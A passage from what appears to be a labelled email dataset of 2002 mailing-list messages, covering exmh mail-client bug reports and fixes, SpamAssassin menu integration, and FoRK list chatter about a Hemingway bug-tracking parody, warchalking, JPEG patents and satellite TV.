the More... menu,"I'm positive some of you folks have done this, so perhaps someone can just drop me a pointer to where it's already been discussed? In particular, I was going to have a menu entry available for: o remove the SA markup from a message o add/remove addresses to whitelist Help! :-) I've never done customization of this type to my exmh install. I'm running version 2.4 (6/23/2000) on RedHat 7.3 --Harlan _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Robert Elz ,exmh-users@spamassassin.taint.org,"Tue, 06 Aug 2002 20:40:06 +0700",Re: inbox mail notification broken,"Date: Tue, 06 Aug 2002 09:04:58 +0100 From: Marc Baaden Message-ID: | Any hints ? Probably a private sequence has gotten set, the highlighting only works for public ones. If ""scan unseen"" works as you'd expect, but highlighting doesn't, that's the usual explanation. kre _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Marc Baaden ,exmh-users@spamassassin.taint.org,"Tue, 06 Aug 2002 15:14:05 +0100",Re: inbox mail notification broken,"Hi, sorry, but I am not very familiar with this sequence business and couldn't find an answer to my problem in the documentation. In fact, to be precise, it seems only to be the highlighting in the folder cache part and only for the inbox which does not work. Is there anything I could/should check ? Any file, .. ? Thanks, Marc >>> Robert Elz said: >> Date: Tue, 06 Aug 2002 09:04:58 +0100 >> From: Marc Baaden >> Message-ID: >> >> | Any hints ? >> >> Probably a private sequence has gotten set, the highlighting only >> works for public ones. >> >> If ""scan unseen"" works as you'd expect, but highlighting doesn't, >> that's the usual explanation. >> >> kre >> >> >> >> _______________________________________________ >> Exmh-users mailing list >> Exmh-users@redhat.com >> https://listman.redhat.com/mailman/listinfo/exmh-users >> Marc Baaden -- Dr. Marc Baaden - Laboratory of Molecular Biophysics, Oxford University mailto:baaden@smplinux.de - ICQ# 11466242 - http://www.marc-baaden.de FAX/Voice +49 697912 39550 - Tel: +44 1865 275380 or +33 609 843217 _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 yyyy@spamassassin.taint.org (Justin Mason),exmh-users@spamassassin.taint.org,"Tue, 06 Aug 2002 15:55:48 +0100",Re: integrating a couple spamassassin actions into the More... menu,"Harlan Feinstein said: > In particular, I was going to have a menu entry available for: > o remove the SA markup from a message > o add/remove addresses to whitelist > Help! :-) I've never done customization of this type to my exmh install. > I'm running version 2.4 (6/23/2000) on RedHat 7.3 Despite being the author of SpamAssassin, I've never fixed exmh to do this. I am therefore clearly not an exmh hacker ;) But to simplify -- the first action is piping the message to an external command, then replacing the message file with the output; and the second is simply piping the message to another command, then ignoring the output. I'd say it's easy enough to do, if someone can provide the tcl. --j. _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Chris Garrigues ,"Brent Welch , exmh-workers@spamassassin.taint.org","Tue, 06 Aug 2002 17:14:33 -0500","Re: scan bug: no update after Pick's ""New FTOC""","--==_Exmh_-1362576751P Content-Type: text/plain; charset=us-ascii > From: Chris Garrigues > Date: Thu, 01 Aug 2002 13:09:56 -0500 > > > From: Chris Garrigues > > Date: Thu, 01 Aug 2002 10:01:04 -0500 > > > > > If you run Pick, and then use the ""New FTOC"" button to show only > > > those messages selected by pick, then the ftoc display was considered > > > ""invalid"" in the old code. This prevented the display from being cache > d, > > > and it meant that you could get back to the full folder display by > > > clicking on the folder lablel. That doesn't work anymore. You have > > > to resort to Rescan Folder. In fact, when you change folders you > > > continue to have the Pick results, not the new folder contents. > > > If you go to a any folder and do Rescan, then it heals itself. > > > > Well, that's obviously my fault. Okay, will look when I get a chance. > > My copy of the tree right now is full of organizational changes in > preparation for generalizing the unseen window for display of other > sequences, so I'll probably not check in a fix for this until I > stabilize that. I've checked in my organizational changes and I've checked in a fix for the invalid sequence bug. My next task is to actually create a general sequences window now that the data that it will display is available. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-1362576751P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9UEpJK9b4h5R0IUIRAly4AJ9JqYqattDLUZzch4PiTiuPPSa71wCfcmGj svaqQHz1vj1kC38IMUdkH7g= =8BBR -----END PGP SIGNATURE----- --==_Exmh_-1362576751P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Tom Lane ,exmh-users@spamassassin.taint.org,"Wed, 07 Aug 2002 01:38:55 -0400",Re: curses interface to nmh,"J C Lawrence writes: > Tom Reingold wrote: >> Years ago, there was a package called mh-e which was an emacs >> interface to MH. I don't know if it's still around or works. But >> it's an idea. > Its still around, its actively maintained, and its quite well evolved. I useta use mh-e regularly, but I never figured out whether it could handle exmh's multidrop mechanism, which is something I've grown to rely on. Does that work in recent mh-e versions? I'd love to use mh-e when reading mail remotely, if it can handle my multiple-inbox- folders setup... regards, tom lane _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 J C Lawrence ,exmh-users@spamassassin.taint.org,"Tue, 06 Aug 2002 22:53:26 -0700",Re: curses interface to nmh,"On Wed, 07 Aug 2002 01:38:55 -0400 Tom Lane wrote: > I useta use mh-e regularly, but I never figured out whether it could > handle exmh's multidrop mechanism, which is something I've grown to > rely on. Does that work in recent mh-e versions? I'd love to use > mh-e when reading mail remotely, if it can handle my multiple-inbox- > folders setup... I've no idea. Have you tried asking on the MH-E lists? -- J C Lawrence ---------(*) Satan, oscillate my metallic sonatas. claw@kanga.nu He lived as a devil, eh? http://www.kanga.nu/~claw/ Evil is a name of a foeman, as I live. _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Rodent of Unusual Size ,Flatware or Road Kill? ,"Tue, 13 Aug 2002 15:30:46 -0400",A message for our times,"I'm not up to forking the text, but for your entertainment: http://www.kanga.nu/~claw/bug_count.html -- #ken P-)} Ken Coar, Sanagendamgagwedweinini http://Golux.Com/coar/ Author, developer, opinionist http://Apache-Server.Com/ ""Millennium hand and shrimp!"" http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ",Rodent of Unusual Size ,"Tue, 13 Aug 2002 12:59:26 -0700",Re: A message for our times,"Rodent of Unusual Size wrote: > I'm not up to forking the text, but for your entertainment: > > http://www.kanga.nu/~claw/bug_count.html Fine, *I'll* fork it. This piece has been up on the wall of our CTO's office for years. It deserves to be forked, or even reforked. - Joe (BTW, RAID is the home-grown bug tracking system used at Microsoft. See e.g. http://www.stsc.hill.af.mil/CrossTalk/1995/oct/Shippin.asp. It was a fine tool, better than any other I've had to use...) The Bug Count Also Rises by John Browne (Imitation Hemingway Contest Winner) In the fall of that year the rains fell as usual and washed the leaves of the dust and dripped from the leaves onto the ground. The shuttles drove through the rainy streets and took the people to meetings, then later brought them back, their tires spraying the mist into the air. Many days he stood for a long time and watched the rain and the shuttles and drank his double-tall mochas. With the mochas he was strong. Hernando who worked down the hall and who was large with microbrews came to him and told him that the ship day was upon them but the bugs were not yet out. The bugs which were always there even when you were in Cafes late at night sipping a Redhook or a double-tall mocha and you thought you were safe but they were there and although Enrico kept the floor swept clean and the mochas were hot the bugs were there and they ate at you. When Hernando told him this he asked how many bugs. ""The RAID is huge with bugs,"" Hernando said. ""The bugs are infinite."" ""Why do you ask me? You know I cannot do this thing anymore with the bugs."" ""Once you were great with the bugs,"" Hernando said. ""No one was greater,"" he said again. ""Even Prado."" ""Prado? What of Prado? Let Prado fix the bugs."" Hernando shrugged. ""Prado is finished. He was gored by three Sev 2's in Chicago. All he does now is drink herb tea and play with his screensavers."" ""Herb tea?"" ""It is true, my friend."" Hernando shrugged again. Later he went to his office and sat in the dark for a long time. Then he sent e-mail to Michaels. Michaels came to him while he was sipping a mocha. They sat silently for awhile, then he asked Michaels, ""I need you to triage for me."" Michaels looked down. ""I don't do that anymore,"" he said. ""This is different. The bugs are enormous. There are an infinity of bugs."" ""I'm finished with that,"" Michaels said again. ""I just want to live quietly."" ""Have you heard Prado is finished? He was badly gored. Now he can only drink herb tea."" ""Herb tea?"" Michaels said. ""It is true,"" he said sorrowfully. Michaels stood up. ""Then I will do it, my friend,"" he said formally. ""I will do it for Prado, who was once great with the bugs. I will do it for the time we filled Prado's office with bouncy balls, and for the time Prado wore his nerf weapons in the marketing hall and slew all of them with no fear and only a great joy at the combat. I will do it for all the pizza we ate and the bottles of Coke we drank."" Together they walked slowly back, knowing it would be good. As they walked the rain dripped softly from the leaves, and the shuttles carried the bodies back from the meetings. -- The Combatant State is your father and your mother, your only protector, the totality of your interests. No discipline can be stern enough for the man who denies that by word or deed. http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,"""Joseph S. Barrera III"" ",13 Aug 2002 17:03:50 -0400,Re: A message for our times,">>>>> ""J"" == Joseph S Barrera, writes: J> Fine, *I'll* fork it. This piece has been up on the wall of our J> CTO's office for years. It deserves to be forked, or even J> reforked. Any idea of the date of this ""Hemingway Contest"" claim? Apparently RAID places it c.1995 but I'm just curious as to how many years this may have been out there. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ",Gary Lawrence Murphy ,"Tue, 13 Aug 2002 17:40:42 -0700",Re: A message for our times,"Gary Lawrence Murphy wrote: > Any idea of the date of this ""Hemingway Contest"" claim? Apparently > RAID places it c.1995 but I'm just curious as to how many years this > may have been out there. If memory serves, RAID was in use when I joined Microsoft in 1992 and was still in use when I left in 1999. - Joe -- The Combatant State is your father and your mother, your only protector, the totality of your interests. No discipline can be stern enough for the man who denies that by word or deed. http://xent.com/mailman/listinfo/fork",0,1 Peter ,exmh-users@spamassassin.taint.org,"Sat, 17 Aug 2002 09:24:12 +0800",No more spell-check,"Hi, my exmh-2.5 suddenly will not spell-check anymore. If I click More..., Spell... a window opens and is gone just as fast. I don't recall having tinkered with anything. How can I get spell-checking back? If you explain please do it so a standard PC user will understand. Thanks in advance! -- Peter _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 David Kelly ,"exmh-users@spamassassin.taint.org, Peter ","Fri, 16 Aug 2002 21:35:59 -0500",Re: No more spell-check,"On Friday 16 August 2002 08:24 pm, Peter wrote: > Hi, > > my exmh-2.5 suddenly will not spell-check anymore. If I click > More..., Spell... a window opens and is gone just as fast. > > I don't recall having tinkered with anything. > > How can I get spell-checking back? It may be a conspiracy against spell checkers. I noticed the Spell icon was dimmed in Netscape Communicator 4.79 about a month ago. It worked for years prior. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Harlan Feinstein ,exmh-users@spamassassin.taint.org,"Sat, 17 Aug 2002 19:40:21 -0400",V2.4 keeps incorrectly blue-ing folders,"Exmh keeps turning the folder indicator blue for one folder, and I've read all the messages in the folder. Driving me nuts. I've packed the folder, I've deleted the .mh_sequences file there, keeps doing it. Help! I've just recently started using 2.4 (was using 2.2), so perhaps there are things that needed to be deleted/changed in my settings? --Harlan _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Chris Garrigues ,exmh-users@spamassassin.taint.org,"Sat, 17 Aug 2002 19:29:51 -0500",Re: V2.4 keeps incorrectly blue-ing folders,"--==_Exmh_-882253667P Content-Type: text/plain; charset=us-ascii > From: Harlan Feinstein > Date: Sat, 17 Aug 2002 19:40:21 -0400 > > Exmh keeps turning the folder indicator blue for one folder, and I've read > all the messages in the folder. Driving me nuts. I've packed the folder, > I've deleted the .mh_sequences file there, keeps doing it. Help! > > I've just recently started using 2.4 (was using 2.2), so perhaps there are > things that needed to be deleted/changed in my settings? 2.4? 2.5 has been out for over a year. I can't think of anything with those symptoms in 2.4, but why don't you try the upgrade and see if you still have the problem. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-882253667P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9Xup/K9b4h5R0IUIRAgvAAJ9y5U/x3/bIv3J1ZIvg68MveMoMWACfcRbJ rzUKLzFVnLfNIVg3qKRgGhw= =mlhE -----END PGP SIGNATURE----- --==_Exmh_-882253667P-- _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 James Gibbon ,exmh-users@spamassassin.taint.org,"Sun, 18 Aug 2002 20:18:48 +0100",Re: V2.4 keeps incorrectly blue-ing folders,"Harlan Feinstein wrote: > Exmh keeps turning the folder indicator blue for one folder, and > I've read all the messages in the folder. Driving me nuts. I've > packed the folder, I've deleted the .mh_sequences file there, > keeps doing it. Help! > I would rescan then do 'First Unseen', and see what happens .. _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Gregory Alan Bolcer ,FoRK ,"Sun, 18 Aug 2002 10:47:16 -0700",warchalking,"Hobos in the depression used to use this technique to know if they could find a meal or a bed and how friendly the residents were to begging. This showed up on sladhdot in June. It'll be interesting to see what the parallel sign is for the Hobo sign that representing a meal or bed if threatened. Can you imagine threatening someone to get your wireless? Another phenomenon is Internet connection sharing which is freely available on most modern OSs. It's a very easy way to share a $6/24hour period wireless conneciton in the San Jose airport among dozens of your favorite friends. http://news.bbc.co.uk/1/hi/technology/2197252.stm http://www.blackbeltjones.com/warchalking/warchalking0_9.pdf Friday, 16 August, 2002, 11:42 GMT 12:42 UK FBI warns about wireless craze Some FBI agents are worried about warchalking Well-meaning wireless activists have caught the attention of the US Federal Bureau of Investigation. One of its agents has issued a warning about the popular practice of using chalk marks to show the location of wireless networks. The marks, or ""warchalks"", are cropping up in cities and suburbs across the world. The FBI is now telling companies that, if they see the chalk marks outside their offices, they should check the security of wireless networks and ensure they remain closed to outsiders. Top marks The warchalking phenomena is only a couple of months old but it has generated a huge amount of interest. The idea behind warchalking is to use a standardised set of symbols to mark the existence of wireless networks that anyone can use to go online. Many community groups and local governments, and even some public-spirited companies, are setting up wireless nodes that give people fast net access. This symbol denotes a closed wireless node The wireless networks replace computer cables with radio and are usually very easy to set up and connect to. Before now many curious hackers have gone on ""wardriving"" expeditions which involve them driving around an area logging the location of the wireless networks. Many companies using wireless do not do enough to make them secure and stop people outside the organisation using them. So the FBI is issuing advice to companies to be on the lookout for warchalk marks as a pointer to the security of their wireless network. ""If you notice these symbols at your place of business, it is likely your network has been identified publicly,"" warns the guidance from the FBI. Scare stories? The agent who circulated the warning in Pittsburgh said it was not an official FBI advisory or policy but was information worth passing on. He urged anyone using a wireless network to ensure that it was secure and used only by those a company wants to access it. Warchalkers have questioned the scare stories surrounding the phenomena, saying that anyone with malicious intent is unlikely to publicly mark their target. The phrases ""wardriving"" and ""warchalking"" derive from the early days of computer hacking when curious users programmed their computers to search for all phone lines that returned data tones. The exhaustive searching was known as ""wardialling"". http://xent.com/mailman/listinfo/fork",0,1 Tom ,Gregory Alan Bolcer ,"Sun, 18 Aug 2002 15:24:32 -0400 (EDT)",Re: warchalking,"Oddly enough we have been ""discusing"" this over in www.geocaching.com Opinons on the it range from YeaBoy to ItsAgainstTheLAW. Mostly though its either folks are boned up on the subject and are cool with it or they are sheeple bleating to the big daddy to protect them. I sstill cant get my head around the fact that so many people are so much the willing sheeple for things like the Patriot Act and all the surrounding shackle racking. http://opentopic.groundspeak.com/0/OpenTopic?a=tpc&s=1750973553&f=6770936793&m=6220923794 http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,gbolcer@endeavors.com,19 Aug 2002 00:22:57 -0400,Re: warchalking,">>>>> ""G"" == Gregory Alan Bolcer writes: G> ... Can you imagine threatening someone to get your wireless? Well ... considering they happily cashed my $2000 cheque almost a month ago and I'm /still/ using crippled auracom dialup, yes, I can imagine this, quite vividly; I will be beta-testing it sometime early next week if dsisp.net don't get my antenna rigged and guy-wired pdq. I'm paying /interest/ on that $2k! -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 Anders Eriksson ,exmh-workers@spamassassin.taint.org,"Mon, 19 Aug 2002 21:44:48 +0200",CVS report,"Just cvs up'ed and nowadays Catch-up Unseen is __extremely__ slow on large (>100 msgs) unseen sequences. Anybody else having this problem? /A _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Anders Eriksson ,"Mon, 19 Aug 2002 15:24:43 -0500",Re: CVS report,"--==_Exmh_1217613150P Content-Type: text/plain; charset=us-ascii > From: Anders Eriksson > Date: Mon, 19 Aug 2002 21:44:48 +0200 > > > Just cvs up'ed and nowadays Catch-up Unseen is __extremely__ slow on > large (>100 msgs) unseen sequences. Anybody else having this problem? I'll take the blame. The reason, I suspect, is that we're needlessly reading the .sequences file multiple times because of other sequences. I need to make the code much smarter about handling that file, but first I have a few other fish to fry in my rather large patch that's on it's way. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_1217613150P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9YVQLK9b4h5R0IUIRAi47AJ4rVruKV1jEX9NVMEAFZR9grNn3YgCfcUlD MTk68Vxnxl3UUoU3yA4spLg= =ypKd -----END PGP SIGNATURE----- --==_Exmh_1217613150P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Anders Eriksson ,Chris Garrigues ,"Mon, 19 Aug 2002 23:05:30 +0200",Re: CVS report,"> > Just cvs up'ed and nowadays Catch-up Unseen is __extremely__ slow on > > large (>100 msgs) unseen sequences. Anybody else having this problem? > > I'll take the blame. > > The reason, I suspect, is that we're needlessly reading the .sequences file > multiple times because of other sequences. I need to make the code much > smarter about handling that file, but first I have a few other fish to fry in > my rather large patch that's on it's way. > No panic, I'm all for cleaning things up before getting it optimized. A _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,exmh-workers@spamassassin.taint.org,"Tue, 20 Aug 2002 17:27:47 -0500",New Sequences Window,"--==_Exmh_-1828408717P Content-Type: text/plain; charset=us-ascii I've just checked in a rather large patch which replaces the Unseen Window with a new Sequences Window. Since the preference items are different, you'll need to turn the display of the sequences window on in the preferences even if you had the unseen window enabled. I couldn't figure out how to default the preferences to match the unseen window. I'm hoping that all people with no additional sequences will notice are purely cosmetic changes. For those who have other sequences defined, the window will widen to display the other sequences. Preferences allow you to say if you want a given sequence display to never show or to always show. I've also changed the ftoc colorization as discussed briefly on the list a week or so ago. The two things that I know I need to do are to fix the performance issue that I think is what Anders was seeing yesterday and to catch the documentation up with the code. My wife is out for an ""evening with the girls"" tonight, so I should be able to work on the performance issue tonight and check it in after some testing in a day or two. I hope I didn't break very much with all the changes I made... Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-1828408717P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9YsJjK9b4h5R0IUIRAlPcAJwOagra2EcjW/IcjmIB0RNkKUUXUQCfapbo e4f/pt3xlgPvgzpJ94HmwP0= =YPYq -----END PGP SIGNATURE----- --==_Exmh_-1828408717P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Valdis.Kletnieks@vt.edu,Chris Garrigues ,"Tue, 20 Aug 2002 22:51:52 -0400",Re: New Sequences Window,"--==_Exmh_-603961349P Content-Type: text/plain; charset=us-ascii On Tue, 20 Aug 2002 17:27:47 CDT, Chris Garrigues said: > For those who have other sequences defined, the window will widen to display > the other sequences. Preferences allow you to say if you want a given > sequence display to never show or to always show. Ever tried to get MH to *not* have a 'pseq' sequence? I suspect everybody's looking at a big box that has unseen and pseq in it. Might want to add 'pseq' to the 'hide by default' list.... -- Valdis Kletnieks Computer Systems Senior Engineer Virginia Tech --==_Exmh_-603961349P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) Comment: Exmh version 2.5 07/13/2001 iD8DBQE9YwBHcC3lWbTT17ARApjqAJ9Er8DBC1yim8a6rlFa5tFs2vY0MACg6U55 WPaWcJZN9Ma23u7ObQIKqt4= =Ee1L -----END PGP SIGNATURE----- --==_Exmh_-603961349P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Valdis.Kletnieks@vt.edu,,"Wed, 21 Aug 2002 02:36:56 -0400",Re: New Sequences Window,"--==_Exmh_778588528P Content-Type: text/plain; charset=us-ascii On Tue, 20 Aug 2002 22:51:52 EDT, Valdis.Kletnieks@vt.edu said: > Ever tried to get MH to *not* have a 'pseq' sequence? I suspect everybody's > looking at a big box that has unseen and pseq in it. Might want to add > 'pseq' to the 'hide by default' list.... Was it intended that if you added a sequence to the 'never show' list that it not take effect till you stopped and restarted exmh? I added 'pseq', then hit 'save' for Preferences - didn't take effect till I restarted. --==_Exmh_778588528P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) Comment: Exmh version 2.5 07/13/2001 iD8DBQE9YzUIcC3lWbTT17ARAkTxAJ980YijxjLdlJABtcs4uJwQwN0EnwCdHjOG tFqGIQwIX8IwCFsDpTRtqw0= =oMZd -----END PGP SIGNATURE----- --==_Exmh_778588528P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Robert Elz ,Valdis.Kletnieks@vt.edu,"Wed, 21 Aug 2002 15:01:07 +0700",Re: New Sequences Window,"Date: Tue, 20 Aug 2002 22:51:52 -0400 From: Valdis.Kletnieks@vt.edu Message-ID: <200208210251.g7L2pqKb001805@turing-police.cc.vt.edu> | Ever tried to get MH to *not* have a 'pseq' sequence? Hmm - I've been using MH for a long time (since well before there were sequences) and I don't think I've ever seen a ""pseq"" ... I'm guessing that that's the sequence that you have ""pick"" create As I recall it, it has no default sequence name, so the sequence names that people use will tend to vary from person to person won't they (except as MH configurations move around institutions by osmosis). I've always used ""sel"" for that purpose. I kind of doubt that any pre built-in sequence name is going to be very general. Even ""unseen"" can be changed (fortunately that one is easy to find in the MH profile - though whether exmh does that, os just uses ""unseen"" I haven't bothered to find out). kre _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Lucas Gonze ,,"Tue, 20 Aug 2002 11:38:16 -0400 (EDT)",Re: Snag Ware,"I paid for CuteFTP on my Windows box. Well worth the money despite there being free alternatives, no regrets whatsoever. Now that Mozilla isn't taking X down twice a day I'm unlikely to pay for Opera, but if that hadn't happened around the same time I made the switch to 100% unix I would have been happy to. - Lucas http://xent.com/mailman/listinfo/fork",0,1 """Jim Whitehead"" ","""FoRK"" ","Wed, 21 Aug 2002 14:22:51 -0700","IT ""fossils""","While wandering through Uppsala, Sweden last week, I ran across the ""Keramik"" studio of Paula von Freymann. Her pottery work has the theme of ""fossils for the future"", and she has two main lines of this work. One is more conventional, taking leaves from plants at the nearby Linneas Gardens and impressing them into the clay before firing, leaving a ""fossil"" of the plant. The other is more unique, taking imprints of circuit boards, cellular telephones, punched cards, etc. and then firing the result to make ""IT fossils."" Given how quickly most of our work becomes obsolete, I found the offbeat notion of IT fossilization an oddly fitting way of archiving the physical detritus of the digital age. http://www.kuai.se/~itart/ http://www.kuai.se/~itart/html/gallery1.htm http://www.kuai.se/~itart/bildhtml/4.htm My guess is she'd gladly make fossils of any object you wanted, for a price. Could be an interesting memorial of your next product launch! - Jim http://xent.com/mailman/listinfo/fork",0,1 """Adam L. Beberg"" ",Tom ,"Fri, 19 Jul 2002 11:32:17 -0700 (PDT)",Re: JPEGs patented,"On Fri, 19 Jul 2002, Tom wrote: > So are PNGs still kosh? So far, but it's not even noon yet. Stealth patents are definately gaining in popularity, maybe we can get this included in the new death penalty for hackers law. - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,"""Adam L. Beberg"" ","Fri, 19 Jul 2002 21:18:35 +0200 (CEST)",Re: JPEGs patented,"On Fri, 19 Jul 2002, Adam L. Beberg wrote: > So far, but it's not even noon yet. Stealth patents are definately > gaining in popularity, maybe we can get this included in the new death > penalty for hackers law. Just ignore the laws completely. You cannot win the legal way, because the geek is a minority, and even not a lobby-toting minority at that. You Cannot Win That Way. Really. We need an uncensorable, hardened P2P infrastructure to distribute such staples as open source software. Software patents are tragedy of the commons all over again. The collateral damage done by pirating is a complete footnote in comparison to the radioactive glass iron-fisted IP rights enforcement habitually produces. http://xent.com/mailman/listinfo/fork",0,1 Tom ,fork@spamassassin.taint.org,"Fri, 19 Jul 2002 16:46:56 -0400 (EDT)",7000 or bust?:)-,"So whats the eariliest for hitting 7k? http://money.cnn.com/2002/07/19/markets/markets_newyork/index.htm ""According to preliminary reports, the Dow fell 390.23 to 8,019.26, to its lowest level since January 1998. The Nasdaq composite index lost 37.94 to 1,319.01. The Standard & Poor's 500 index lost 34.03 to 847.53. The index has fallen more than 1,000 points in the past two weeks and closed down nine of the last 10 sessions. Both the Nasdaq and S&P are near their lowest levels since the first half of 1997. "" http://xent.com/mailman/listinfo/fork",0,1 Bill Humphries ,fork@spamassassin.taint.org,"Fri, 19 Jul 2002 16:04:37 -0700",DBS Recommendations?,"I told AT&T to get lost after they wanted $$$ to change my service address. RCN doesn't service Mountain View, so I'm looking at Dish Network and Direct TV. So far Direct TV appears to be the better deal. Recommendations? Horror stories? Alternatives I've missed? -- whump http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ",Wayne E Baisley ,"Sun, 21 Jul 2002 12:07:10 -0700",Re: JPEGs patented,"Wayne E Baisley wrote: > There's nothing you can know that isn't known. > Nothing you can see that isn't shown. > Nowhere you can be that isn't where you're meant to be. > It's easy. > All you need is HTML. Are you quoting the Beatles version or the Laibach version? - Joe :-) http://xent.com/mailman/listinfo/fork",0,1 Wayne E Baisley ,fork@spamassassin.taint.org,"Sun, 21 Jul 2002 12:35:25 -0500",Re: JPEGs patented,"There's nothing you can know that isn't known. Nothing you can see that isn't shown. Nowhere you can be that isn't where you're meant to be. It's easy. All you need is HTML. By way of proof, there are no jpgs, gifs, pngs, etc here... http://www.anagrammy.com/anagflag.html Cheers, Wayne Yeah yeah yeah http://xent.com/mailman/listinfo/fork",0,1 """Jeff Barr"" ",,"Sat, 20 Jul 2002 18:41:50 -0700",Re: Stupid Idea Series: excreta & emigration [Re: The great FEE],"Someone says, > > Wow. I'm so tempted to mail this guy several lbs of dog poop. I wonder > > what the shipping costs would be to Delaware? > > Shipping costs? This sort of thing > sounds perfect for decentralization -- > like flower delivery, freshness counts, > and it's probably difficult to scale a > single dog's output arbitrarily. Find > a dog owner in Delaware with a target > in Scruz, and swap deliveries. P2p? > > > I learned when RHAT's support team was mailed some poo that it's really > > really illegal to do it. http://www.mailpoop.com has apparently been providing this service for a while now, along with http://www.smellypoop.com/order.html and http://www.dogdoo.com/Default.asp. Jeff; http://xent.com/mailman/listinfo/fork",0,1 Brian Atkins ,fork@spamassassin.taint.org,"Sat, 20 Jul 2002 19:23:19 -0400",Re: DBS Recommendations?,"It doesn't really matter since they're about to merge. If you're into PVRs though, Dish just came out with the ""721"" receiver. No monthly fee for it (unlike Tivo, etc) and it can record two things at once while you watch a third program previously recorded. Also has 120GB hard drive and rumor has it a Broadcom chip in there to support the new encoding system expected to be put into place a couple years after the merger. (oh and the 721 is based on Linux if that matters) Bill Humphries wrote: > > I told AT&T to get lost after they wanted $$$ to change my service address. > > RCN doesn't service Mountain View, so I'm looking at Dish Network and > Direct TV. > > So far Direct TV appears to be the better deal. > > Recommendations? Horror stories? Alternatives I've missed? > > -- whump > > http://xent.com/mailman/listinfo/fork -- Brian Atkins Singularity Institute for Artificial Intelligence http://www.singinst.org/ http://xent.com/mailman/listinfo/fork",0,1 """Jim Whitehead"" ",", ","Mon, 22 Jul 2002 12:30:17 -0700",RE: FREE ORIGINAL STAR WARS CARDS Adv:,"> Special Bonus with your order, you will receive > 10 Original 1980 Topps Star 